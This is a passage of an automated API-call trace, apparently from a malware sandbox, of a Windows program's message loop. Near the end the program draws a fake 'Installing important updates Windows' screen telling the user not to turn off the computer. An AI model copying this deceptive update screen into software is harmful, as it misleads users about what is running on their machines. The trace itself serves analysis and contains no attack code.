(hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.349] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.349] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.349] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.349] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.349] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.349] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.350] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.396] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.396] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.396] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.396] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.396] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.396] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.396] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.397] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.442] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.442] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.442] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.442] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.442] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.442] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.442] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.443] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.489] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.489] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.489] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.489] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.489] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.489] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.489] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.490] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.539] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.539] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.539] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.539] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.539] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.539] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.539] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.540] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.585] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.585] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.586] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.586] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.586] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.586] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.586] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.587] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.629] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.629] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.629] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.630] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.630] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.630] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.630] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.631] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.676] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.676] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.676] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.676] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.676] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.677] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.677] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.677] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.723] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.723] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.723] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.723] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.723] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.723] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.723] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.724] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.770] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.770] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.770] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.770] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.770] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.770] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.770] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.771] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.817] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.817] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.817] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.817] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.817] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.817] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.817] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.818] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.863] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.863] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.863] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.863] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.743] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0060.743] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.743] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.743] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.806] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0060.806] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.806] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.806] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.806] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0060.806] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.806] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.808] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.982] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0061.014] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.014] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.358] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.363] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0061.363] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.363] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.824] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.510] TranslateAcceleratorW (hWnd=0x601b4, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.510] TranslateMessage (lpMsg=0x18e548) returned 1 [0062.510] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.510] NtdllDefWindowProc_W () returned 0x0 [0062.510] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.510] TranslateAcceleratorW (hWnd=0x601b4, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.510] TranslateMessage (lpMsg=0x18e548) returned 1 [0062.510] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.510] NtdllDefWindowProc_W () returned 0x0 [0062.511] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.511] TranslateAcceleratorW (hWnd=0x601b4, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.511] TranslateMessage (lpMsg=0x18e548) returned 1 [0062.511] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.511] NtdllDefWindowProc_W () returned 0x0 [0062.511] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.511] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.511] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.511] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.511] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.511] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.511] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.511] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.512] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.533] NtdllDefWindowProc_W () returned 0x1 [0062.539] NtdllDefWindowProc_W () returned 0x0 [0062.539] NtdllDefWindowProc_W () returned 0x0 [0062.539] NtdllDefWindowProc_W () returned 0x0 [0062.539] NtdllDefWindowProc_W () returned 0x0 [0062.539] NtdllDefWindowProc_W () returned 0x0 [0062.540] TranslateAcceleratorW (hWnd=0x601b4, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.540] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.540] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.540] BeginPaint (in: hWnd=0x601b4, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x3501083b [0062.540] NtdllDefWindowProc_W () returned 0x0 [0062.541] NtdllDefWindowProc_W () returned 0x1 [0062.541] EndPaint (hWnd=0x601b4, lpPaint=0x18e2e0) returned 1 [0062.541] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.541] TranslateAcceleratorW (hWnd=0x40120, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.541] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.541] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.541] BeginPaint (in: hWnd=0x40120, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x3501083b [0062.542] CreateSolidBrush (color=0x5b3ef) returned 0xce10024d [0062.542] FillRect (hDC=0x3501083b, lprc=0x18d9b8, hbr=0xce10024d) returned 1 [0062.542] DeleteObject (ho=0xce10024d) returned 1 [0062.542] DrawIcon (hDC=0x3501083b, X=7, Y=7, hIcon=0x60111) returned 1 [0062.542] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x320a0823 [0062.542] SelectObject (hdc=0x3501083b, h=0x320a0823) returned 0x18a002e [0062.542] SetBkMode (hdc=0x3501083b, mode=1) returned 2 [0062.542] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.542] TextOutW (hdc=0x3501083b, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.542] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0x320a0823 [0062.542] CreateSolidBrush (color=0xffffff) returned 0xcf10024d [0062.542] FillRect (hDC=0x3501083b, lprc=0x18d9a8, hbr=0xcf10024d) returned 1 [0062.542] DeleteObject (ho=0xcf10024d) returned 1 [0062.542] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x260a081e [0062.543] SelectObject (hdc=0x3501083b, h=0x260a081e) returned 0x18a002e [0062.543] SetBkMode (hdc=0x3501083b, mode=1) returned 1 [0062.543] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.543] TextOutW (hdc=0x3501083b, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.543] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.543] TextOutW (hdc=0x3501083b, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.543] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.543] TextOutW (hdc=0x3501083b, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.543] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0x260a081e [0062.543] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1e0a07c9 [0062.544] SelectObject (hdc=0x3501083b, h=0x1e0a07c9) returned 0x18a002e [0062.544] SetBkMode (hdc=0x3501083b, mode=1) returned 1 [0062.544] SetTextAlign (hdc=0x3501083b, align=0x6) returned 0x0 [0062.544] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.544] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.544] TextOutW (hdc=0x3501083b, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.544] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0x1e0a07c9 [0062.544] EndPaint (hWnd=0x40120, lpPaint=0x18d9c8) returned 1 [0062.544] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.544] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.544] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.544] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.549] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.549] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.549] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.549] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.550] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.550] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.550] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.550] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.551] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.551] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.551] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.551] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.551] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.592] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.592] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.592] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.592] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.592] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.592] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.592] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.601] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.640] TranslateAcceleratorW (hWnd=0x301b2, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.640] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.640] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.640] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.640] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.640] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.640] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.640] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.640] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.640] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.640] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.641] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.704] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.704] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.704] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.704] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.704] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.704] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.704] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.705] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.752] TranslateAcceleratorW (hWnd=0x601b4, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.752] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.752] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.752] BeginPaint (in: hWnd=0x601b4, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x3501083b [0062.752] NtdllDefWindowProc_W () returned 0x0 [0062.753] NtdllDefWindowProc_W () returned 0x1 [0062.753] EndPaint (hWnd=0x601b4, lpPaint=0x18e2e0) returned 1 [0062.753] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.753] TranslateAcceleratorW (hWnd=0x40120, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.753] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.754] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.754] BeginPaint (in: hWnd=0x40120, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x3501083b [0062.754] CreateSolidBrush (color=0x5b3ef) returned 0xd010024d [0062.754] FillRect (hDC=0x3501083b, lprc=0x18d9b8, hbr=0xd010024d) returned 1 [0062.754] DeleteObject (ho=0xd010024d) returned 1 [0062.754] DrawIcon (hDC=0x3501083b, X=7, Y=7, hIcon=0x60111) returned 1 [0062.754] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x290a0830 [0062.754] SelectObject (hdc=0x3501083b, h=0x290a0830) returned 0x18a002e [0062.754] SetBkMode (hdc=0x3501083b, mode=1) returned 2 [0062.754] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.754] TextOutW (hdc=0x3501083b, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.754] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0x290a0830 [0062.754] CreateSolidBrush (color=0xffffff) returned 0xd110024d [0062.755] FillRect (hDC=0x3501083b, lprc=0x18d9a8, hbr=0xd110024d) returned 1 [0062.755] DeleteObject (ho=0xd110024d) returned 1 [0062.755] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1d0a0832 [0062.755] SelectObject (hdc=0x3501083b, h=0x1d0a0832) returned 0x18a002e [0062.755] SetBkMode (hdc=0x3501083b, mode=1) returned 1 [0062.755] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.755] TextOutW (hdc=0x3501083b, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.755] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.755] TextOutW (hdc=0x3501083b, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.755] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.755] TextOutW (hdc=0x3501083b, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.755] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0x1d0a0832 [0062.755] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xf0a0820 [0062.756] SelectObject (hdc=0x3501083b, h=0xf0a0820) returned 0x18a002e [0062.756] SetBkMode (hdc=0x3501083b, mode=1) returned 1 [0062.756] SetTextAlign (hdc=0x3501083b, align=0x6) returned 0x0 [0062.756] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.756] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.756] TextOutW (hdc=0x3501083b, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.756] SelectObject (hdc=0x3501083b, h=0x18a002e) returned 0xf0a0820 [0062.756] EndPaint (hWnd=0x40120, lpPaint=0x18d9c8) returned 1 [0062.756] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.756] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.756] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.756] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.764] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.764] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.764] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.764] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.765] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.765] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.765] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.765] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.765] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.765] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.765] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.765] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.766] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.779] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0062.779] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.779] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.779] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.779] 